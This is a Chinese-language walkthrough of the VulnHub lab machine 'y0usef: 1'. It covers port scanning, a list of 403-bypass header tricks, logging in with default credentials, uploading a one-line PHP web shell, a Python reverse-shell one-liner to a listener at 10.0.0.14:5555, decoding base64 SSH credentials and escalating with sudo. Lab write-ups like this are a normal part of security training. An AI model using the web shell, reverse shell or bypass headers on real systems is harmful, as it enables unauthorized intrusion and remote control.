08 - Y0USEF 1

08 - Y0USEF:1

0x01 下载地址

y0usef: 1www.vulnhub.com

0x02 靶机目标

root权限+两个flag

0x03 工具准备

whatweb命令：网址指纹识别工具

Python反弹Shell：

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.14",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Python Shell升级：

python -c "import pty; pty.spawn('/bin/bash')"

（补充）：403 bypass 脚本

可以使用Burp+jython效果更好

Not found

0x04 详细步骤

主机发现

❯ sudo arp-scan -l

端口扫描

❯ sudo nmap -p- 10.0.0.13
❯ sudo nmap -p22,80 -sV -sC 10.0.0.13

Web信息收集

浏览器访问http://10.0.0.13/

网站信息收集

❯ whatweb http://10.0.0.13

❯ dirsearch -u http://10.0.0.13

浏览器访问http://10.0.0.13/adminstration/

Tip：针对403页面可以坐403Bypass测试

403Bypass

启动Burpsuit，访问http://10.0.0.13/adminstration/，将访问记录发送到Repeater

403Bypass常见方法

1.替换主机头的子域名
GET /auth/login HTTP/1.1
Host: $xxx$.abc.com

2.URL覆盖
GET / HTTP/1.1
方法一：
X-Original-URL: /auth/login
方法二：
X-Rewrite-URL: /auth/login
方法三：
ReFerer: http://xxx/auth/login

3.反向代理
Host: 10.0.0.13
X-Originating-IP: 127.0.0.1
或
X-Remote-IP: 127.0.0.1
或
X-Forwarded-For: 127.0.0.1

经测试X-Forwarded-For: 127.0.0.1可绕过403验证

把X-Forwarded-For: 127.0.0.1加入Intercept

用户名和密码输入admin，登录系统后台

文件上传

直接上传Shell.php，上传失败

<?php $var=shell_exec($_GET['cmd']); echo $var ?>

在Repeater修改相应字段，Shell上传成功

访问http://10.0.0.13/adminstration/upload/files/1632300491shell.php，返回空页面，Shell上传成功

访问http://10.0.0.13/adminstration/upload/files/1632300491shell.php?cmd=id

Python反弹Shell

http://10.0.0.13/adminstration/upload/files/1632300491shell.php?cmd=which%20python

NC本地监听5555端口

反弹Shell

http://10.0.0.13/adminstration/upload/files/1632300491shell.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.14",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Python Shell升级

❯ python -c "import pty; pty.spawn('/bin/bash')"

主机信息收集

❯ cat /etc/passwd | grep /bin/bash

❯ cd /home
❯ ls

获取第一个flag

❯ cat user.txt

c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=

Tip：Base64加密的字符集：

0-9
a-z
A-Z
/
+
=

特征：以=结尾

用Base64对flag进行解密得到

主机提权

使用yousef/yousef123账号和密码SSH登录靶机，发现具备sudo权限

sudo -l查看sudo权限

sudo -s切换root用户

获取第二个flag

❯ cd /root
❯ ls
❯ cat root.txt

Base64对flag进行解密得到

You've got the root Congratulations any feedback content me twitter @yOusef_11